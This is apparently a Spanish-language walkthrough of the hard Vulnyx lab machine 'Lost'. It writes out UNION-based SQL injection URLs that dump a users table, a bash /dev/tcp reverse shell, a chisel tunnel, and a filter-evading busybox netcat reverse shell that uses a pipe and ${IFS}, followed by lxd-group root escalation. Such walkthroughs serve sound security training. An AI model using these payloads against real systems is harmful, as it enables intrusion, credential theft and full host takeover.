Lost
Difficulty: Hard
La IP de la máquina Lost en mi caso:

Recon
Realizamos un escaneo con Nmap contra el objetivo:

Puertos identificados:
22 → Servicio SSH
80 → Servicio web
Añadimos el host a /etc/hosts:

Visitamos el objetivo desde el navegador web:

Nos encontramos una página con una animación de la intro de la serie “Lost”.
Parece que estamos un poco a ciegas, vamos a hacer una enumeración de subdominios a ver que encontramos:

Subdominio identificado:
dev
Añadimos el subdominio a /etc/hosts y accedemos al subdominio dev.lost.nyx:


Navegamos por el subdominio y encontramos una página que parece interesante por el mensaje que vemos:

Parece que al dar un ID, podemos ver información sobre el pasajero.
SQL Injection
Como prueba, añadimos un id y vemos que se muestra la información de uno de los pasajeros:

Cambiamos el valor del id, por una comilla simple
'para forzar un fallo SQL y ver si es vulnerable a inyecciones:

Esto funciona, esto quiere decir que el valor del parámetro pasado por la URL no se sanitiza. Probamos una inyección más avanzada:
http://dev.lost.nyx/passengers.php?id=1 or 1=1 -- -

Probaremos diferentes inyecciones SQL para obtener más información de la estructura de la base de datos:
http://dev.lost.nyx/passengers.php?id=1 union select schema_name,2,3,4 from information_schema.schemata-- -

Columnas de la tabla users:
http://dev.lost.nyx/passengers.php?id=1 union select column_name,2,3,4 from information_schema.columns where table_name = 'users'-- -

Contenido de la tabla users:
http://dev.lost.nyx/passengers.php?id=1 union select username,password,2,3 from users-- -

Password Decode
Las credenciales que hemos obtenido, las pasamos a un archivo:

Para decodear los hashes se guardarán en un archivo sin el nombre de usuario:

Utilizaremos hashcat para crackear los hashes:


Pero no conseguimos decodificar ningún hash.
Shell (SQLMap)
Para poder seguir avanzando, hemos identificado una vulnerabilidad de inyección SQL, así que utilizaremos SQLMap para obtener una shell:



Obtenemos una shell y podemos ejecutar comandos de sistema.
Reverse Shell
Podemos ejecutar comandos a través de la shell obtenida con sqlmap. Creamos una reverse shell en un archivo .sh con el siguiente contenido:
bash -i >& /dev/tcp/(192.168.56.101)/443 0>&1 python3 -m http.server 8000

Levantamos un servidor HTTP en nuestra máquina atacante:

Ponemos una consola Netcat a la escucha en nuestra máquina atacante:

Desde la máquina objetivo descargamos el archivo reverse_shell.sh:

Asignamos permisos y ejecutamos el script reverse_shell.sh:

Recibimos la conexión en la consola a la escucha:

Tratamiento TTY
El tratamiento de la TTY consiste en convertir una shell básica o limitada (por ejemplo, obtenida por netcat o reverse shell) en una shell totalmente interactiva, para así usar atajos de teclado, limpiar pantalla, mover el cursor, ejecutar editores y comandos interactivos como si fuese una terminal local. Se utiliza principalmente para:
Hacer la shell más usable y cómoda (mover con flechas, tabulación, historial, etc.).
Permitir ejecutar comandos o programas que requieren una terminal real (TTY), como su, sudo, nano, vi, etc.
Hacemos el tratamiento de la TTY:
Recon interno
Mostramos la información de los puertos a la escucha:

Descubrimos el puerto 3000 que no aparecía en el primer escaneo.
Reverse Port Forwarding
Se realizará un port forwarding para poder atacar este puerto desde la máquina atacante. Para ello primero preparamos el binario de chisel para traspasarlo:
En la máquina atacante en 2 shells distintas:
Shell 1:
python3 -m http.server 8000Shell 2:
chisel server --reverse -p 4000

Y desde la máquina víctima haremos lo siguiente para descargar chisel y decodearlo:


Hacemos el forwarding:

Veremos la conexión en la máquina atacante:

Desde la máquina atacante se podrá acceder al navegador y ver lo que hay en el puerto de la víctima:
http://localhost:3000

Privilege Escalation
Al acceder a
localhost:3000desde el navegador, encontramos un input en el que podemos hacer ping a una IP:

Esto quiere decir que ejecuta comandos de sistema, así que probaremos con alguno del que podamos obtener un output que nos sirva para seguir avanzando en la máquina.

Lo detecta como malicioso, así que habrá que intentar bypassear el filtro, por ejemplo con caracteres especiales.

Después de probar con varios caracteres especiales
',!,--conseguimos el bypass con|.
Ahora que podemos bypassear el filtro del input, nos enviaremos una reverse shell, en mi caso generé una en https://www.revshells.com/:

Ponemos en nuestra máquina atacante una consola con netcat a la escucha:

Ejecutamos la reverse shell en el input:
busybox nc 192.168.56.101 1234 -e sh

Pero la detecta como maliciosa.
Detectará el intento de reverse shell porque lo estamos haciendo directamente. Habrá que reemplazar los espacios por
${IFS}, esto son separadores de campos internos. La shell lo detectará como un espacio y nos permitirá bypassear el filtro del input:
|busybox${IFS}nc${IFS}192.168.56.101${IFS}1234${IFS}-e${IFS}sh

La página se quedará con el icono de carga y en la consola a la escucha recibiremos la conexión:

Mostraremos los privilegios que tiene el usuario:

Pertenece al grupo lxd.
Privilege Escalation by Group
Desde la máquina atacante, tendremos que crear un archivo Alpine y transferirlo a la máquina víctima de la siguiente manera:


Desde la máquina víctima:
Obtenemos la imagen de la máquina atacante primero moviendonos al directorio /tmp:

Importamos:

Nos aseguramos de que se haya importado bien:

Creamos el contenedor con privilegios:

Añadimos el dispositivo para crear la raíz del host:

Iniciamos el contenedor:

Entramos al contenedor con shell:

Accedemos a la raíz montada:

Confirmamos que somos root:

Flags
Flag user.txt

La flag user.txt se encuentra en el directorio /home/jackshephard
Flag root.txt

La flag root.txt se encuentra en el directorio /root/
Links
https://www.revshells.com/ ➡️ Plataforma online para generar comandos personalizados de reverse shell para distintos sistemas y lenguajes.
Ha habido en partes que estuve atascado y si no fuera por los siguientes writeups no hubiese podido continuar:
Luca Wolffart: https://github.com/wolffart-luca/Vulnyx/blob/main/lost.md
blackpist0l: https://blackpist0l.hashnode.dev/lost-vulnyx-machine
Última actualización